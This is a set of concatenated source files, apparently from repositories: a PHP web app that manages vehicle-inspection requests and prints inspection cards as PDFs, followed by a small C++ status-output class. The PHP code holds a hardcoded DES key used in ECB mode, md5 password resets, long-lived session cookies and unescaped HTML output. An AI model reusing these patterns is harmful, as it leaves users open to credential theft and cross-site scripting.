$pdf->Cell(3.9,4.4,$symbol,"0","","C"); // Отправляем текст на страницу } $pdf->SetFont('Arial-BoldMT','',10); // Выбираем этот шрифт for ($i=0;$i<15;$i++) { $symbol=substr($card_in_number,$i,1); $pdf->SetXY(45.9+($i*5.25),13.1); // Координаты, куда выводить текст $pdf->Cell(3.9,4.4,$symbol,"0","","C"); // Отправляем текст на страницу } //------------Срок действия ДО--------------------------------- //$pdf->SetFont('Arial','B',8); $pdf->SetFont('Arial-BoldMT','',8); $pdf->SetXY(47,32); // Координаты, куда выводить текст $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$reg_number),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(47,36.75); // Координаты, куда выводить текст $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$VIN_number),0,"","L"); // Отправляем текст на страницу $pdf->SetXY(47,42); // Координаты, куда выводить текст $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$chassis),"0","1","L"); // Отправляем текст на страницу $pdf->SetXY(47,46.5); // Координаты, куда выводить текст $pdf->Cell(30.5,4,iconv("UTF-8", "WINDOWS-1251",$body),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(136,32); // Координаты, куда выводить текст $pdf->Cell(65.7,4,iconv("UTF-8", "WINDOWS-1251",$brand_model),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(136,36.75); // Координаты, куда выводить текст $pdf->Cell(65.7,4,iconv("UTF-8", "WINDOWS-1251",$category),0,"","L"); // Отправляем текст на страницу $pdf->SetXY(136,41.5); // Координаты, куда выводить текст $pdf->Cell(65.7,8,iconv("UTF-8", "WINDOWS-1251",$year_car),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(79,50.7); // Координаты, куда выводить текст $pdf->MultiCell(80,4,iconv("UTF-8", "WINDOWS-1251","$doc_full $seria № $number выдан $issued_by $issued_when") ,"0",0,"L"); // Отправляем текст на страницу //Изменить ИНФО О ПТО $pdf->AddPage(); // Добавить страницу $pdf->Image("data/controllers/pdf/second_min.jpg","","","210","300"); $pdf->SetXY(43.9,83.3); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$min_mass. " кг"),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(43.9,89); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$fuel_type),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(43.9,94.3); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$break_type),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(43.9,99.9); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$wheels),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(156.8,83.3); // Координаты, куда выводить текст $pdf->Cell(40,4.2,iconv("UTF-8", "WINDOWS-1251",$max_mass." кг"),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(156.8,89); // Координаты, куда выводить текст $pdf->Cell(40,4.2,iconv("UTF-8", "WINDOWS-1251",$mileage." км"),"0","","L"); // Отправляем текст на страницу $pdf->SetXY(85,60); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$comment),"0","","C"); // ПРИМЕЧАНИЕ $pdf->SetXY(116.1,70.5); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,iconv("UTF-8", "WINDOWS-1251",$date_exist),"0","","L"); // ПРИМЕЧАНИЕ $pdf->SetFont('Arial-BoldMT','',9); // Выбираем этот шрифт //----------------Дата------------------------------------------------------ for ($j=0;$j<8;$j++) { $symbol=substr($date_create,$j,1); $pdf->SetXY(17.5+($j*5.2),139); // Координаты, куда выводить текст $pdf->Cell(5.3,5.7,$symbol,"0","","C"); // Отправляем текст на страницу } //-------------------------------------------------------------------------- /* $pdf->SetXY(51.7,146.5); // Координаты, куда выводить текст $pdf->Cell(39.3,4.2,_utf($expert),"0","","L"); // Отправляем текст на страницу */ // НИЖЕ ВЫВОД НА ЭКРАН. НЕ НАДО ТРОГАТЬ if ($reg_number) $fileName = $reg_number; elseif ($VIN_number) $fileName = $VIN_number; elseif ($body) $fileName = $body; elseif ($wheels) $fileName = $wheels; elseif ($second_name) $fileName = $second_name; $pdf->Output("$fileName.pdf", "I"); function _utf($str) { return iconv("UTF-8", "WINDOWS-1251",$str); } ?> <file_sep><?php class User { static private $instance = null; static public function getInstance() { if (self::$instance == null) { self::$instance = new self(); } return self::$instance; } public $id, $type, $login, $session_id, $is_auth; private function __construct() { $this->authorize(); $this->getParams(); } private function getParams() { $MYSQL = DB::getInstance(); $result = $MYSQL->getUsers(array("id"=>$_SESSION["user_id"])); $this->id = $result['id']; $this->type = $result['type']; $this->login = $result['login']; $this->session_id = $result['session_id']; $this->is_auth = $_SESSION["is_auth"]; } public function logout() { session_destroy(); $MYSQL = DB::getInstance(); $MYSQL->update("Users",array("session_id"=>""),array("id"=>$this->id)); header("Location: ?event=index"); } public function authorize($login="",$password="") { if ($this->is_auth) return true; if(isset($_COOKIE["user_session"])) { $cookie_session=mysql_real_escape_string($_COOKIE["user_session"]); // Сессия из куки $MYSQL = DB::getInstance(); $result=$MYSQL->get("Users",array("*"),array("session_id"=>$cookie_session)); // Ищем, сидел ли кто-то с такой же сессией if(isset($result["id"])) // Если кто-то нашелся $this->_authorize($result); // Авторизируем его } } public function _authorize(array $result) { $db_ex = new SafeMySQL(); $MYSQL = DB::getInstance(); $_SESSION["is_auth"]=1; $_SESSION["user_id"]=$result["id"]; $_SESSION["user_type"]=$result["type"]; setcookie("user_session",session_id(),time()+9999999999); //$result = $db_ex->getRow('UPDATE Users SET session_id = ?s WHERE id = ?i ',session_id(),$result["id"]); $MYSQL->update("Users",array("session_id"=>session_id()),array("id"=>$result["id"])); $this->is_auth = true; return true; } } <file_sep><?php echo includeJsFile("validate.js"); echo includeJsFile("requestForm.js"); $user = USER::getInstance(); $form = new Form(); $form->setMethod("POST"); $form->setName("requestForm"); $form->addClass("form-horizontal"); if ($_GET['id']) { $form->setHeader("Просмотр заявки"); $form->addHide($_GET['id'],"requestId"); } else $form->setHeader("Новая заявка"); $form->setValues($data[0]); $form->addInput("second_name","Фамилия","text", "text","Иванов","","large",true); $form->addInput("first_name","Имя","text", "text","Иван","","large",true); $form->addInput("third_name","Отчество","text","","Иванович","","large",false); $form->addDropDown("doc_type","Тип документа",array( array("id"=>1, "name"=>"Св-во о регистрации"), array("id"=>2, "name"=>"Паспорт ТС") )); $form->addInput("seria","Серия","text","text","78УЕ","","large",true); $form->addInput("number","Номер","text","doc_number","423634","","large",true); $form->addInput("issued_by","Выд<NAME>","text","text","ОП МРЭО-4","","large",true); //$form->addInput("issued_when","Выдано когда","text","text","12.15.2012","","large",true); $form->addDate("issued_when","Выдано когда"); $form->addInput("reg_number","Гос. знак","text","","Н231РА98","","large",true); $form->addInput("VIN_number","VIN-номер","text","VIN","WVWZZZ9NZVY239670","","large",true); $form->addInput("brand","Марка","text","text","NISSAN","","large",true); $form->addInput("model","Модель","text","text","TEANA","","large",true); $form->addDropDown("category","Категория ТС",array( array("id"=>"M1", "name"=>"M1(B)"), array("id"=>"M2", "name"=>"M2(D)"), array("id"=>"M3", "name"=>"M3(D)"), array("id"=>"N1", "name"=>"N1(B)"), array("id"=>"N2", "name"=>"N2(C)"), array("id"=>"N3", "name"=>"N3(C)"), array("id"=>"O1", "name"=>"O1(E)"), array("id"=>"O2", "name"=>"O2(E)"), array("id"=>"O3", "name"=>"O3(E)"), array("id"=>"O4", "name"=>"O4(E)"), array("id"=>"A", "name"=>"L(A)"), )); $form->addInput("year","Год","text","year","2001","","large",true); $form->addInput("chassis","Шасси","text","","33070080840595","","large",true); $form->addInput("body","Кузов","text","","NP-32536234","","large",true); $form->addInput("min_mass","Масса без нагрузки","text","number","1540","","large",true); $form->addInput("max_mass","Максимальная масса","text","number","3200","","large",true); $form->addInput("mileage","Пробег","text","number","153000","","large",true); $form->addInput("wheels","Марка шин","text","text","MATADOR","","large",true); $form->addDropDown("fuel_type","Тип топлива",array( array("id"=>1, "name"=>"Бензин"), array("id"=>2, "name"=>"Дизельное топливо"), array("id"=>3, "name"=>"Сжатый газ"), array("id"=>4, "name"=>"Сжиженный газ"), )); $form->addDropDown("break_type","Тип тормозной системы",array( array("id"=>1, "name"=>"Гидравлическая"), array("id"=>2, "name"=>"Пневматическая"), array("id"=>3, "name"=>"Комбинированная"), array("id"=>4, "name"=>"Механическая"), )); if($user->type == 2 || $user->type == 0) { $form->addDropDown("validate","Срок действия",array( array("id"=>12, "name"=>"Один год"), array("id"=>6, "name"=>"Полгода"), array("id"=>24, "name"=>"Два года"), array("id"=>36, "name"=>"Три года"), )); } $form->addDropDown("comment","Комментарий",array( array("id"=>"Очередное ТО", "name"=>"Очередное ТО"), array("id"=>"Такси", "name"=>"Такси"), array("id"=>"Учебная езда", "name"=>"Учебная езда"), array("id"=>"Опасные грузы", "name"=>"Опасные грузы"), )); ?> <div class="well offset2 span7"> <?php echo $form->render(); ?> <div id="response"></div> <?php if($user->type == 0 || $user->type == 2 || $user->type == 3 ):?> <a id="submit" style="margin-left: 10px; " name="submit" onclick="validateForm('requestForm',1);" class="btn btn-default pull-right" >Сохранить </a> <?php endif ?> <?php if($user->type == 2 || $user->type == 0):?> <?php if(!strlen($data[0]['card_number'])):?> <a id="submit" name="submit" onclick="save();" class="btn btn-default pull-right">Отправить в ЕАИСТО</a> <?php endif ?> <?php if($data[0]['status_work'] == 5):?> <a id="submit" style="margin-left: 10px;" name="submit" onclick="deleteRequest();" class="btn btn-default pull-right"> Подтвердить удаление</a> <a id="submit" name="submit" onclick="cancelRequest();" class="btn btn-default pull-right">Отменить удаление</a> <?php endif ?> <?php endif ?> </div> <file_sep><?php class Model { protected $table; protected $attributes; protected $validators; private $validateType = array( "text"=>"{[\- _ . , А-Яа-яa-zA-Z ]+}", "number"=>"{\d+}", "login"=>"{[a-z0-9_-]{3,16}}", "password"=>"{[<PASSWORD>}}", ); public function save(array $dontSave = array(),$validate = true) { foreach ($dontSave as $key => $value) { unset($this->attributes[$key]); } if ($validate) if(!$this->validate()) return; $MYSQL = DB::getInstance(); $id = $this->getAttribute('id'); if ($this->getById($id)) { $result = $MYSQL->update($this->table,$this->attributes,array("id"=>$id)); return $result; } else { $result = $MYSQL->insert($this->table,$this->attributes); return $result; } } public function deleteById($id) { $user = User::getInstance(); if (model::byLogin("Requests",$user->login)) return; $MYSQL = DB::getInstance(); $MYSQL->delete($this->table, array("id"=> $id)); } public function setAttributes(array $attributes = array(),$debug=0) { foreach ($attributes as $key => $value) if (isset($this->attributes[$key])){ $this->attributes[$key]=$value; } if ($debug) var_dump($this->getAttributes()); } public function getAttributes() { return $this->attributes; } public function getAttribute($attribute) { return $this->attributes[$attribute]; } public function setAttribute(array $attribute = array()) { $key= key($attribute); if (isset($this->attributes[$key])) $this->attributes[$key]=$attribute[$key]; } public function getAll($order = "id") { $MYSQL= DB::getInstance(); $data=$MYSQL->get($this->table,array("*"),array(),false,$order); return $data; } static public function getAllFrom($table) { $MYSQL= DB::getInstance(); $data=$MYSQL->get($table,array("*"),array(),false); return $data; } static public function byId($table,$id) { $MYSQL= DB::getInstance(); if ($id!="") $data=$MYSQL->get($table,array("*"),array("id"=>$id)); else return 0; return $data; } static public function byLogin($table,$login) { $MYSQL= DB::getInstance(); if ($login!="") $data=$MYSQL->get($table,array("*"),array("login"=>$login)); else return 0; return $data; } public function getById($id = "") { $MYSQL= DB::getInstance(); if ($id!="") $data=$MYSQL->get($this->table,array("*"),array("id"=>$id)); else return 0; return $data; } public function getByParam($key, $value) { $MYSQL= DB::getInstance(); if ($value!="") $data=$MYSQL->get($this->table,array("*"),array($key=>$value),false); else return 0; return $data; } public function validate(array $dontCheck = array()) { $validate= true; foreach ($this->attributes as $key => $value) { if (!isset($dontCheck[$key])) if (isset($this->validators[$key])) { $pattern=$this->validateType[$this->validators[$key]]; if ($pattern) if(!preg_match($pattern,$value)) { echo $key."<br>"; $validate = false; } } } return $validate; } };<file_sep><?php function ex_crypt($source) { $key = "5&2fc8E2b2#15"; $s = ""; // Открывает модуль и создаёт IV $td = mcrypt_module_open ('des', '', 'ecb', ''); $key = substr ($key, 0, mcrypt_enc_get_key_size ($td)); $iv_size = mcrypt_enc_get_iv_size ($td); $iv = mcrypt_create_iv ($iv_size, MCRYPT_RAND); // Инициализирует дескриптор шифрования и шифруем if (mcrypt_generic_init ($td, $key, $iv) != -1) { $s = mcrypt_generic($td, $source); mcrypt_generic_deinit ($td); mcrypt_module_close ($td); } return $s; } function ex_decrypt($source) { $key = "5&2fc8E2b2#15"; $s = ""; // Открывает модуль и создаёт IV $td = mcrypt_module_open ('des', '', 'ecb', ''); $key = substr ($key, 0, mcrypt_enc_get_key_size ($td)); $iv_size = mcrypt_enc_get_iv_size ($td); $iv = mcrypt_create_iv ($iv_size, MCRYPT_RAND); // Инициализирует дескриптор шифрования и дешифруем if (mcrypt_generic_init ($td, $key, $iv) != -1) { $s = mdecrypt_generic ($td, $source); mcrypt_generic_deinit ($td); mcrypt_module_close ($td); } return $s; } ?><file_sep><?php class Agent extends Model{ protected $table = 'Agents'; protected $attributes = array( "id" => 0, "second_name" => "", "login" => "", "price" => "", "manager" => "", "date_create"=>""); protected $validators = array ( "second_name" => "text", "login" => "login", ); // Возвращаем моих агентов public function getAgentsByLogin($manager="") { $MYSQL= DB::getInstance(); if ($manager!="") $agents=$MYSQL->get($this->table,array("*"),array("manager"=>$manager),false); else return 0; return $agents; } // Возвращаем всех моих агентов public function getAllAgentsByLogin($manager="") { $GLOBALS['agents']=array(); $this->findChilds($manager); $result=$GLOBALS['agents']; unset($GLOBALS['agents']); foreach($result as $field => $value) if ($value=='') unset($result[$field]); return $result; } private function findChilds($manager) { $MYSQL= DB::getInstance(); $agents=$MYSQL->get("Agents",array("*"),array("manager"=>$manager),false); foreach($agents as $agent) { array_push($GLOBALS['agents'],$agent); array_push($GLOBALS['agents'],$this->findChilds($agent['login'])); } } public function resetById() { $id = $_GET['id']; $userModel = new webUser(); $agentModel = new Agent(); $agent=$agentModel->getById($id); $login = $agent["login"]; $user= $userModel->getByLogin($login); $userId=$user[0]['id']; $userModel->setAttributes(array("id"=>$userId,"login"=>$login, "password"=>md5($login))); $userModel->save(); } static function all(){ $MYSQL= DB::getInstance(); $data=$MYSQL->get("Agents",array("*"),array(),false); return $data; } static function getNameByLogin($login) { $MYSQL= DB::getInstance(); $data=$MYSQL->get("Agents",array("*"),array("login"=>$login),false); return $data; } static function getManager($agentLogin) { $agents = model::getAllFrom("Agents"); $agent = model::byLogin("Agents",$agentLogin); $testManager = $agent; $stop = true; while ($stop != false) { if ($testManager['manager']) { $tree []= array( "manager" => $testManager['manager'], "second_name"=> $testManager['second_name'], "login"=>$testManager['login']); $testManager = model::byLogin("Agents",$testManager['manager']); } else { $stop = false; } } $manager = array_pop($tree); $agent = array_pop($tree); return array("manager"=>$manager,"agent"=>$agent); } }<file_sep><?php class Collapse extends Component { private $data=array(); private $number; private $name; public function __construct(array $data=array(),$name='') { $this->data=$data; $this->name=$name; } public function setData(array $data=array(),$name='') { $this->data=$data; $this->name=$name; } public function render() { echo " <div class='accordion' id='accordion".$this->name."'>"; foreach ($this->data as $key => $value) { $this->number++; echo "<div class='accordion-group'>"; echo " <div class='accordion-heading'>"; echo " <a class='accordion-toggle' data-toggle='collapse' data-parent='#accordion".$this->name."' href='#collapse".$this->name.$this->number."'>"; echo $key; echo "</a>"; echo "</div>"; echo " <div id='collapse".$this->name.$this->number."' class='accordion-body collapse '>"; echo "<div class='accordion-inner'>"; echo $value; echo "</div>"; echo "</div>"; echo "</div>"; } echo "</div>"; $this->number=0; } }<file_sep><?php class Form extends Component { private $name; private $method; private $class; private $header; private $validate = 0; private $inputs = array(); private $values; public function render() { echo "<form id='".$this->name."' name='".$this->name."' method='".$this->method."' class='".$this->class."'>"; echo "<fieldset>"; echo "<legend>".$this->header."</legend>"; foreach ($this->inputs as $input) { switch($input['type']) { case "dropdown": $this->showDropDown($input); break; case "date": $this->showDate($input); break; case "hide": $this->showHide($input); break; default: $this->showInput($input); } } echo "</fieldset>"; echo "</form>"; } public function setValidate($validate) { $this->validate = $validate; } public function setMethod($method) { $this->method = $method; } public function addClass($class) { $this->class.= $class; } public function setHeader($header){ $this->header = $header; } public function setValues($values){ $this->values = $values; } public function setName($name){ $this->name = $name; } public function addInput($name,$title = "",$type = "text",$validator = "",$tip = "", $placeholder = "" ,$size = "large",$required = false, $value = '') { $this->inputs[]=array( "name"=>$name, "type"=>$type, "title"=>$title, "placeholder"=>$placeholder, "validator"=>$validator, "size"=>$size, "required"=>$required, 'tip' => $tip, ); } public function addHide($value,$name) { $this->inputs[] = array( "value" => $value, "type" => "hide", "name" => $name, ); } public function addDropDown($name,$title = "",array $data = array(),$selected = "") { $this->inputs[]=array( "name" => $name, "type" => "dropdown", "title"=> $title, 'data' => $data, 'selected' =>$selected, ); } public function addDate($name,$title = "") { $this->inputs[]=array( "name" => $name, "title" => $title, "type" => "date" ); } private function showInput(array $input) { echo "<div class='control-group'>"; echo "<label class='control-label' for='".$input['name']."'>".$input['title']."</label>"; echo "<div class='controls'>"; echo "<input validatod='".$input['validator']."' id='".$input['name']."' value='".$this->values[$input['name']]."' name='".$input['name']."' type='".$input['type']."' placeholder='".$input['placeholder']."' class='input-".$input['size']."' ".(($input['required'])?" required ":"").">"; echo "<i id='okay' style='display:none' class='icon-ok'></i>"; echo "<i id='remove' style='display:none' class='icon-remove'></i>"; echo "<code class='pull-right'>".$input['tip']."</code>"; echo "</div>"; echo "</div>"; } private function showDropDown($input) { $dropdown = new Dropdown(); $dropdown->setData($input['data']); $dropdown->setSelect($input['selected']); $dropdown->setName($input['name'],$input['title']); $dropdown->setSelect($this->values[$input['name']]); $dropdown->render(); } private function showHide($input) { echo "<input type='text' value=".$input['value']." style='display:none' id = ".$input['name']." name = ".$input['name']." >"; } private function showDate($input) { echo "<div class='control-group'> <label class='control-label' for='".$input['name']."'>".$input['title']."</label> <div class='controls'>"; echo " <div id=".$input['name']." class='input-append date'>"; echo " <input name='".$input['name']."' type='text' style='width:182px' value='".$this->values[$input['name']]."' ><span class='add-on'><i class='icon-th'></i></span>"; echo "</div>"; echo"<script> $('#".$input['name']."').datepicker({"; echo " format: 'yyyy-mm-dd',"; echo " language: 'ru',"; echo " autoclose: true,"; echo " keyboardNavigation: false"; echo "}); </script>"; echo "</div></div>"; } }<file_sep><script> function popover() { } function ChangePassword() { var form=""; obj=window.event.target; $.get( "?event=station&action=change_password&no_template", function( data ) { form=data; obj.setAttribute("data-content",form); $(obj).popover({html:1}); }); } </script> <file_sep><?php echo includeJsFile("agent.js"); $filterRequest= new Collapse(); //$filterRequest->setData(array("Фильтр"=>renderOut("components/Filter.html",array($data[5],$data[6])),"Поиск" => renderOut("components/Search.html",array($data[5],$data[6])), "Статистика"=>renderOut("components/Stat.html")),"Filter"); $filterRequest->setData(array("Фильтр"=>renderOut("components/Filter.html",array($data[5],$data[6])),"Поиск" => renderOut("components/Search.html",array($data[5],$data[6]))),"Filter"); ?> <div class="row"> <div class="span12"> <div class="tabbable tabs-left"> <ul class="nav nav-tabs"> <li class ="active"><a href="#tab2" data-toggle="tab">Заявки</a></li> <li><a href="#tab1" data-toggle="tab">Агенты</a></li> <li><a href="#tab3" data-toggle="tab">Прайсы</a></li> <li><a href="#tab4" data-toggle="tab">Система</a></li> </ul> <div class="tab-content"> <div class="tab-pane " id="tab1"> <div class="well"> <ul class="nav nav-pills"> <div style="width: 300px; float:left;"> <h4>Агенты</h4> </div> <div style="float:right; padding-top:3px;"> <li><a class="btn btn-primary" href="?event=agent&action=form" ><i class=" icon-plus icon-white"></i> Добавить</a></li> </div> </ul> <?php echo $data[0];?> </div> </div> <div class="tab-pane active" id="tab2"> <div class="well"> <ul class="nav nav-pills"> <div style="width: 300px; float:left;"> <h4>Заявки</h4> </div> <div style="float:right; padding-top:3px;"> <li><a class="btn btn-primary" href="?event=request&action=form" ><i class=" icon-plus icon-white"></i> Добавить</a></li> </div> </ul> <?php $filterRequest->render(); ?> <div id="requestTable"> </div> </div> </div> <div class="tab-pane" id="tab3"> <div class="well"> <ul class="nav nav-pills"> <div style="width: 300px; float:left;"> <h4>Прайсы</h4> </div> <div style="float:right; padding-top:3px;"> <li><a class="btn btn-primary" href="?event=price&action=form" ><i class=" icon-plus icon-white"></i> Добавить</a></li> </div> </ul> <?php echo $data[1];?> </div> </div> </div> </div> </div> <div id="deleteDialog" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> <h3 id="myModalLabel">Удаление заявки</h3> </div> <div class="modal-body"> <p class="text"> </p> </div> <div class="modal-footer"> <button class="btn" data-dismiss="modal" aria-hidden="true">Отмена</button> <button id="confirm" onclick="" class="btn btn-primary">Удалить</button> </div> </div> <script> $(function() { $('body').tooltip({ selector: "[rel=tooltip]", // можете использовать любой селектор placement: "top" }); }); $( document ).ready(function() { updateRequests(1); }); </script> <file_sep><?php class Price extends Model { protected $table='Prices'; protected $attributes=array( "id" =>0, "name" => "", "agent" =>"", "date_create" => "", "A"=>"", "B"=>"", "C"=>"", "D"=>"", "E_light"=>"", "E_heavy"=>"", ); protected $validators=array ( "name" => "text", "agent" => "text", "A" => "number", "A" => "number", "B" => "number", "C" => "number", "D" => "number", "E_light" => "number", "E_heavy" => "number", ); public function getByLogin($agent="") { $MYSQL= DB::getInstance(); if ($agent!="") $data=$MYSQL->get($this->table,array("*"),array("agent"=>$agent),false); else return 0; return $data; } }<file_sep><?php class indexController { protected $action; protected $name; public $rules = array ( "all" => "allow" ); public function __construct($action,$name) { $this->action=$action; $this->name=$name; } public function indexAction(){ $User = User::getInstance(); if ($User->is_auth == 1) switch ($User->type) { case 3: header("Location: ?event=agent"); break; case 1: header("Location: ?event=cashier"); break; case 2: header("Location: ?event=expert"); break; } if ($User->is_auth==0) ; // header("Location: ?event=login"); } }<file_sep><?php $user = User::getInstance(); echo includeJsFile("validate.js"); ?> <div class="well offset2 span7"> <form id="priceForm" method="POST" Daction="?event=price&action=form" class="form-horizontal"> <fieldset> <!-- Form Name --> <legend align="center">Прайс</legend> <!-- Text input--> <div class="control-group"> <label class="control-label" for="name">Название</label> <div class="controls"> <div class="input-append"> <input validatod="text" id="name" name="name" type="text" placeholder="" class="input-medium" required=""> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="A"> Категория А</label> <div id="categoryA" class="controls"> <div class="input-append"> <input validatod="price" id="A" name="A" class="input-small" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M1"> Категория B</label> <div id="categoryB" class="controls"> <div class="input-append"> <input validatod="price" id="B" name="B" class="input-small" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M2"> Категория C</label> <div id="categoryC" class="controls"> <div class="input-append"> <input validatod="price" id="C" name="C" class="input-small" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M3"> Категория D</label> <div id="categoryD" class="controls"> <div class="input-append"> <input validatod="price" id="D" name="D" class="input-small" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M3">Легковой прицеп</label> <div id="categoryE_light" class="controls"> <div class="input-append"> <input validatod="price" id="E_light" name="E_light" class=" has-error input-small" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Appended Input--> <div class="control-group"> <label class="control-label" for="M3">Грузовой прицеп</label> <div id="categoryE_heavy" class="controls"> <div class="input-append"> <input validatod="price" id="E_heavy" name="E_heavy" class="input-small" placeholder="" type="text" required=""> <span class="add-on">рублей</span> </div> <i id="okay" style="display:none" class="icon-ok"></i> <i id="remove" style="display:none" class="icon-remove"></i> </div> </div> <!-- Button --> <div class="control-group"> <div class="controls"> <a id="submit" name="submit" onclick="validateForm('priceForm',1)" class="btn btn-default">Сохранить</a> </div> </div> </fieldset> </form> </div> <file_sep><?php class webUser extends Model { protected $table='Users'; protected $attributes=array( "id" => 0, "login" => "", "type" =>3, "password"=>""); protected $validators=array( "login" =>"login" ); public function getByLogin($manager="") { $MYSQL= DB::getInstance(); if ($manager!="") $agents=$MYSQL->get($this->table,array("*"),array("login"=>$manager),false); else return 0; return $agents; } }<file_sep><?php function include_from($dir, $ext='php'){ $opened_dir = opendir($dir); while ($element=readdir($opened_dir)){ $fext=substr($element,strlen($ext)*-1); if(($element!='.') && ($element!='..') && ($fext==$ext)){ include($dir.$element); } } closedir($opened_dir); } function getAgents($manager) { $MYSQL= DB::getInstance(); $agents=$MYSQL->get("Agents",array("*"),array("manager"=>$manager),false); return $agents; } function render ($template, $data='') { ob_start(); require_once("data/".$template); $content=ob_get_clean(); echo $content; } function renderOut ($template, $data='') { ob_start(); require("data/".$template); $content=ob_get_clean(); return $content; } function filterArray (array $data, $params = array(), $date=0) { $GLOBALS['params'] = $params; if (!$date) $result = array_filter($data,"filterVar"); else $result = array_filter($data,"filterDate"); unset($GLOBALS['params']); return $result; } function filterVar($var) { $params = $GLOBALS['params']; foreach ($params as $key =>$value) { if(lowercase($params[$key]) != lowercase($var[$key])) { return false; } } return true; } function filterDate($var) { $params = $GLOBALS['params']; if (strtotime($var['date_create']) >= strtotime($params['startDate']) && strtotime($var['date_create']) <= strtotime($params['endDate'])) return true; return false; } function includeJsFile($file) { $header="<script type='text/javascript'>\n"; $footer="\n</script>"; return $header.renderOut("../js/".$file).$footer; } define ('UPCASE', 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯABCDEFGHIKLMNOPQRSTUVWXYZ'); define ('LOCASE', 'абвгдеёжзийклмнопрстуфхцчшщъыьэюяabcdefghiklmnopqrstuvwxyz'); function mb_str_split($str) { preg_match_all('/.{1}|[^\x00]{1}$/us', $str, $ar); return $ar[0]; } function mb_strtr($str, $from, $to) {return str_replace(mb_str_split($from), mb_str_split($to), $str);} function lowercase($arg=''){return mb_strtr($arg, UPCASE, LOCASE);} function uppercase($arg=''){return mb_strtr($arg, LOCASE, UPCASE);} function sorta($a, $b) { if ($a['date_create'] < $b['date_create']) return 1; }
d9ee12643eb38e563557c020cb66ffd59a60e2a4
[ "JavaScript", "PHP" ]
47
PHP
oskanberg/avtooffcom
1e5245f29c59a072ad42d036db707329efd8deae
0a0f73fb26dec3891a5491a81315607ddbd8f845
refs/heads/master
<repo_name>AlienCowEatCake/Wuild<file_sep>/Modules/CoordinatorStatus/StatusWriter.cpp #include "StatusWriter.h" #include "json.hpp" #include <iostream> StandartTextWriter::~StandartTextWriter(){ std::cout << std::endl; } void StandartTextWriter::PrintMessage(const std::string& msg) { std::cout << msg; } void StandartTextWriter::PrintConnectedToolServer(const std::string& host, int16_t port, uint16_t runningTasks, uint16_t totalThreads) { std::cout << host << ":" << port << " load:" << runningTasks << "/" << totalThreads << std::endl; } void StandartTextWriter::PrintSummary(int running, int thread, int queued) { std::cout << std::endl <<"Total load:" << running << "/" << thread << ", queue: " << queued << std::endl; } void StandartTextWriter::PrintSessions(const std::string& started, int usedThreads) { std::cout << "Started " << started << ", used: " << usedThreads << std::endl; } void StandartTextWriter::PrintTools(const std::set<std::string>& toolIds) { std::cout << "\nAvailable tools: "; for (const auto & t : toolIds) std::cout << t << ", "; } struct JsonWriter::Impl { nlohmann::ordered_json jsonResult; }; JsonWriter::JsonWriter() : m_impl(new Impl) {}; JsonWriter::~JsonWriter() { std::cout << m_impl->jsonResult.dump(4) << std::endl; } void JsonWriter::PrintMessage(const std::string&) { // stub } void JsonWriter::PrintConnectedToolServer(const std::string& host, int16_t port, uint16_t runningTasks, uint16_t totalThreads) { m_impl->jsonResult["connected_tool_servers"][host]["port"] = port; m_impl->jsonResult["connected_tool_servers"][host]["running_tasks"] = runningTasks; m_impl->jsonResult["connected_tool_servers"][host]["total_threads"] = totalThreads; } void JsonWriter::PrintSummary(int running, int thread, int queued) { m_impl->jsonResult["total_load"]["running"] = running; m_impl->jsonResult["total_load"]["thread"] = thread; m_impl->jsonResult["total_load"]["queue"] = queued; } void JsonWriter::PrintSessions(const std::string& started, int usedThreads) { m_impl->jsonResult["Running sessions"].push_back({{"started", started},{"usedThreads",usedThreads}}); } void JsonWriter::PrintTools(const std::set<std::string>& toolIds) { m_impl->jsonResult["available_tools"] = toolIds; } std::unique_ptr<AbstractWriter> AbstractWriter::createWriter(OutType outType) { if (outType == OutType::JSON) return std::make_unique <JsonWriter> (); return std::make_unique <StandartTextWriter> (); } <file_sep>/Modules/CoordinatorStatus/StatusWriter.h #pragma once #include <memory> #include <string> #include <set> class AbstractWriter { public: enum class OutType{ JSON, 